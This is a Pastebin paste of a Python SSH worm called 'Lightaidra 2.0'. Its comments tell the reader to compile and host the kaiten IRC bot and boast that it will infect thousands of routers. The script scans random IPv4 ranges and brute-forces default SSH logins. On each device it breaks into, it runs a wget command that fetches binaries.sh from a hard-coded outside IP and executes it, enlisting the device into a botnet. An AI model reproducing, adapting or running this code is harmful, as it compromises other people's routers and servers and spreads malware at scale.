Advertisement
GodlyPacketz

Lightaidra 2.0 Python SSH scanner

Oct 10th, 2017
855
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.06 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #~WhitePacket
  3. #Lightaidra sucked, so here's 2.0 - will infect thousands of routers.
  4. # To setup, follow the instructions
  5. #-Download kaiten.c from https://dl.packetstormsecurity.net/irc/kaiten.c
  6. #-Cross compile it to sh4, powerpc, mipsel, mips, and armv5l.
  7. #-Put the files in your htdocs directory of a server to host them named something sensible like kaiten-*, wildcard in place of the architecture name.
  8. # Set some stuff on your servers so you don't get capped at 476 open SSH connections.
  9. #-ulimit -n 99999
  10. #-sysctl -w fs.file-max=100000
  11. # Run heavyhidra
  12. #-python infect.py 376 LUCKY x 0
  13. #-python infect.py 376 B 113.53 1
  14. # Donate BTC: 13rddMd7ErFQYsjYPfYAnqxmPzZxQPrVyo
  15. #NOTE: I wrote this back when I didn't code professionally, and on Tuesday, September 8th 2015 I decided to officially release it. Don't expect quality code, but working code.
  16. #Disclaimer: use this for code analysis and entertainment purposes only. The code is quite funny, old, works incredibly well and you are completely liable for anything done on it. I do not permit execution of the following code:
  17.  
  18. import threading, paramiko, random, socket, time, sys
  19.  
  20. paramiko.util.log_to_file("/dev/null") #Prevents paramiko error spam.
  21.  
  22. files = [ #Files in which we would like to execute upon the routers.
  23.     "kaiten-sh4",
  24.     "kaiten-powerpc",
  25.     "kaiten-mipsel",
  26.     "kaiten-mips",
  27.     "kaiten-armv5l"
  28.  
  29. ]
  30.  
  31. website = "123.123.123.123" #Public facing IP hosting the IRC bot binaries.
  32.  
  33. reservedips = [ #Majestic list of reserved IP's we have no reason to scan. Actually quite dull.
  34.  'http://127.',
  35.  'http://0',
  36.  'http://10.',
  37.  'http://100.64',
  38.  'http://100.65',
  39.  'http://100.66',
  40.  'http://100.67',
  41.  'http://100.68',
  42.  'http://100.69',
  43.  'http://100.70',
  44.  'http://100.71',
  45.  'http://100.72',
  46.  'http://100.73',
  47.  'http://100.74',
  48.  'http://100.75',
  49.  'http://100.76',
  50.  'http://100.77',
  51.  'http://100.78',
  52.  'http://100.79',
  53.  'http://100.80',
  54.  'http://100.81',
  55.  'http://100.82',
  56.  'http://100.83',
  57.  'http://100.84',
  58.  'http://100.85',
  59.  'http://100.86',
  60.  'http://100.87',
  61.  'http://100.88',
  62.  'http://100.89',
  63.  'http://100.90',
  64.  'http://100.91',
  65.  'http://100.92',
  66.  'http://100.93',
  67.  'http://100.94',
  68.  'http://100.95',
  69.  'http://100.96',
  70.  'http://100.97',
  71.  'http://100.98',
  72.  'http://100.99',
  73.  'http://100.100',
  74.  'http://100.101',
  75.  'http://100.102',
  76.  'http://100.103',
  77.  'http://100.104',
  78.  'http://100.105',
  79.  'http://100.106',
  80.  'http://100.107',
  81.  'http://100.108',
  82.  'http://100.109',
  83.  'http://100.110',
  84.  'http://100.111',
  85.  'http://100.112',
  86.  'http://100.113',
  87.  'http://100.114',
  88.  'http://100.115',
  89.  'http://100.116',
  90.  'http://100.117',
  91.  'http://100.118',
  92.  'http://100.119',
  93.  'http://100.120',
  94.  'http://100.121',
  95.  'http://100.122',
  96.  'http://100.123',
  97.  'http://100.124',
  98.  'http://100.125',
  99.  'http://100.126',
  100.  'http://100.127',
  101.  'http://169.254',
  102.  'http://172.16.',
  103.  'http://172.17.',
  104.  'http://172.18.',
  105.  'http://172.19.',
  106.  'http://172.20.',
  107.  'http://172.21.',
  108.  'http://172.22.',
  109.  'http://172.23.',
  110.  'http://172.24.',
  111.  'http://172.25.',
  112.  'http://172.26.',
  113.  'http://172.27.',
  114.  'http://172.28.',
  115.  'http://172.29.',
  116.  'http://172.30.',
  117.  'http://172.32.',
  118.  'http://192.0.0.0',
  119.  'http://192.0.0.1',
  120.  'http://192.0.0.2',
  121.  'http://192.0.0.3',
  122.  'http://192.0.0.4',
  123.  'http://192.0.0.5',
  124.  'http://192.0.0.6',
  125.  'http://192.0.0.7',
  126.  'http://192.0.2.',
  127.  'http://192.88.99.',
  128.  'http://192.168.',
  129.  'http://198.18.',
  130.  'http://198.19.',
  131.  'http://198.51.100.',
  132.  'http://203.0.113.',
  133.  'http://224.',
  134.  'http://225'
  135. ]
  136.  
  137. passwords = [ #Some default SSH logins.
  138.     "root:root",
  139.     "root:admin",
  140.     "admin:admin",
  141.     "ubnt:ubnt"
  142. ]
  143.  
  144. print sys.argv[0]+' Threads[max 376] A/B/C(ip class) /RAND IPHERE(1/1.1/1.1.1) 0/1 (password list, root:root) (doesn\'t scan recursively)' #Lack of basic system arguments/coded two years ago. Don't hate.
  145.  
  146. if sys.argv[4] == '1':
  147.     passwords = [ "root:root" ] #Faster exploitation with somewhat less results.
  148.  
  149. ipclassinfo = sys.argv[2]
  150. if ipclassinfo == "A":
  151.     ip1 = sys.argv[3]
  152. elif ipclassinfo == "B":
  153.     ip1 = sys.argv[3].split(".")[0]
  154.     ip2 = sys.argv[3].split(".")[1]
  155. elif ipclassinfo == "C":
  156.     ips = sys.argv[3].split(".")
  157.     num=0
  158.     for ip in ips:
  159.         num=num+1
  160.         if num == 1:
  161.             ip1 = ip
  162.         elif num == 2:
  163.             ip2 = ip
  164.         elif num == 3:
  165.             ip3 = ip
  166. class sshscanner(threading.Thread):
  167.     global passwords
  168.     global ipclassinfo
  169.     if ipclassinfo == "A":
  170.         global ip1
  171.     elif ipclassinfo == "B":
  172.         global ip1
  173.         global ip2
  174.     elif ipclassinfo == "C":
  175.         global ip1
  176.         global ip2
  177.         global ip3
  178.     def run(self):
  179.         while 1:
  180.             try:
  181.                 while 1:
  182.                     thisipisbad='no'
  183.                     if ipclassinfo == "A":
  184.                         self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  185.                     elif ipclassinfo == "B":
  186.                         self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  187.                     elif ipclassinfo == "C":
  188.                         self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  189.                     elif ipclassinfo == "LUCKY":
  190.             lucky = ["37.237","37.238","37.239","37.236","191.53","186.208","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]
  191.                         self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  192.                     else:
  193.                         self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  194.                     for badip in reservedips:
  195.                         if badip in self.host:
  196.                             thisipisbad='yes'
  197.                     if thisipisbad=='no':
  198.                         break
  199.                 self.host=self.host.replace('http://', '') #This could be optimized. This is bad code. No idea why I did it like this.
  200.                 username='root'
  201.                 password="0"
  202.                 port = 22
  203.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  204.                 s.settimeout(3)
  205.                 s.connect((self.host, port))
  206.                 s.close()
  207.                 ssh = paramiko.SSHClient()
  208.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  209.                 dobreak=False
  210.                 for passwd in passwords:
  211.                     if ":n/a" in passwd:
  212.                         password=""
  213.                     else:
  214.                         password=passwd.split(":")[1]
  215.                     if "n/a:" in passwd:
  216.                         username=""
  217.                     else:
  218.                         username=passwd.split(":")[0]
  219.                     try:
  220.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  221.                         dobreak=True
  222.                         break
  223.                     except:
  224.                         pass
  225.                     if True == dobreak:
  226.                         break
  227.                 badserver=True
  228.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  229.                 output = stdout.read()
  230.                 if "inet addr" in output:
  231.                     badserver=False
  232.                 websites = [ ]         
  233.                 if badserver == False:
  234.                         print 'Infected: '+username+'<'+password+'>'+self.host+'|'+str(port)
  235.                         ssh.exec_command("cd /tmp; rm *; wget http://5.196.68.28/binaries.sh ; chmod +x binaries.sh ; sh binaries.sh ; rm -f binaries.sh")
  236.                         time.sleep(30)
  237.                     ssh.close()
  238.             except:
  239.                 pass
  240.  
  241. for x in range(0,int(sys.argv[1])): #This may abuse your system resources and anger network administrators.
  242.     try:
  243.         t = sshscanner()
  244.         t.start()
  245.     except:
  246.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement